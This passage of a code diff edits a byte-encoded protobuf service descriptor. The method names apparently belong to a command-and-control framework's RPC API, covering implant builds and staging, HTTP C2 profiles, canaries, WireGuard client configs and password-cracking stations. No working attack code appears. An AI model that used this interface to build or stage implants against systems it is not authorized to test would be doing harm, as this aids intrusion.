0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a, - 0x0f, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, - 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, - 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, - 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x32, 0x0a, 0x0e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, - 0x72, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x42, 0x75, - 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, 0x41, 0x0a, 0x14, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x67, 0x69, 0x73, - 0x74, 0x65, 0x72, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x37, - 0x0a, 0x13, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x72, - 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x42, 0x0a, 0x15, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, - 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0d, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, - 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, - 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, - 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, - 0x61, 0x73, 0x6b, 0x42, 0x79, 0x49, 0x44, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x13, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, - 0x6b, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, - 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, - 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3b, 0x0a, 0x0e, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x13, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, - 0x65, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x3b, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x46, 0x69, 0x6c, 0x65, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, - 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x46, 0x69, 0x6c, 0x65, 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, - 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x55, 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, - 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, - 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x4c, 0x0a, 0x16, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, - 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, - 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x18, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x39, 0x0a, 0x11, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, + 0x59, 0x0a, 0x1e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x45, 0x78, 0x74, 0x65, 0x72, + 0x6e, 0x61, 0x6c, 0x47, 0x65, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x1a, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x6c, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x3f, 0x0a, 0x0d, 0x47, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, 0x74, 0x61, 0x67, 0x65, 0x12, 0x1a, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x3f, 0x0a, 0x11, 0x53, + 0x74, 0x61, 0x67, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, + 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x67, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, + 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3d, 0x0a, 0x11, + 0x47, 0x65, 0x74, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, + 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, + 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x73, 0x12, 0x48, 0x0a, 0x16, 0x47, + 0x65, 0x74, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x42, + 0x79, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x16, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x16, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, + 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x3f, 0x0a, 0x11, 0x53, 0x61, 0x76, 0x65, 0x48, 0x54, 0x54, + 0x50, 0x43, 0x32, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x19, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x54, 0x54, 0x50, 0x43, 0x32, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a, 0x0f, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, + 0x72, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x1a, 0x0f, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, + 0x32, 0x0a, 0x0e, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, + 0x72, 0x12, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, + 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x65, 0x72, 0x73, 0x12, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x75, 0x69, 0x6c, + 0x64, 0x65, 0x72, 0x73, 0x12, 0x41, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x67, 0x69, 0x73, 0x74, 0x65, 0x72, 0x12, 0x16, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x12, 0x37, 0x0a, 0x13, 0x43, 0x72, 0x61, 0x63, 0x6b, + 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x72, 0x69, 0x67, 0x67, 0x65, 0x72, 0x12, 0x0f, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x44, 0x65, 0x6c, + 0x12, 0x42, 0x0a, 0x15, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, 0x6b, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, + 0x61, 0x72, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, + 0x39, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x42, 0x79, 0x49, 0x44, + 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, + 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, + 0x61, 0x63, 0x6b, 0x54, 0x61, 0x73, 0x6b, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x54, 0x61, + 0x73, 0x6b, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x12, 0x3b, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, + 0x73, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, + 0x12, 0x3b, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, + 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x41, 0x0a, + 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x55, + 0x70, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, + 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x12, 0x4c, 0x0a, 0x16, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, + 0x6e, 0x6b, 0x44, 0x6f, 0x77, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x18, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, + 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, + 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x39, + 0x0a, 0x11, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, - 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0a, 0x52, 0x65, 0x67, - 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, - 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, - 0x72, 0x61, 0x74, 0x65, 0x12, 0x39, 0x0a, 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, - 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, - 0x3a, 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x13, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, - 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, - 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x43, - 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, - 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, 0x12, 0x43, 0x0a, 0x16, - 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, - 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x12, 0x39, 0x0a, 0x10, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x55, 0x6e, 0x69, - 0x71, 0x75, 0x65, 0x49, 0x50, 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, - 0x62, 0x2e, 0x55, 0x6e, 0x69, 0x71, 0x75, 0x65, 0x57, 0x47, 0x49, 0x50, 0x12, 0x3d, 0x0a, 0x0f, - 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x73, 0x12, + 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x37, 0x0a, 0x0f, 0x43, 0x72, 0x61, + 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x13, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, + 0x65, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, + 0x74, 0x79, 0x12, 0x39, 0x0a, 0x0a, 0x52, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, + 0x12, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x67, 0x65, + 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x1a, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x12, 0x39, 0x0a, + 0x0d, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x0f, + 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, + 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x73, 0x12, 0x3a, 0x0a, 0x12, 0x44, 0x65, 0x6c, 0x65, + 0x74, 0x65, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x42, 0x75, 0x69, 0x6c, 0x64, 0x12, 0x13, + 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, + 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, + 0x6d, 0x70, 0x74, 0x79, 0x12, 0x2f, 0x0a, 0x08, 0x43, 0x61, 0x6e, 0x61, 0x72, 0x69, 0x65, 0x73, + 0x12, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 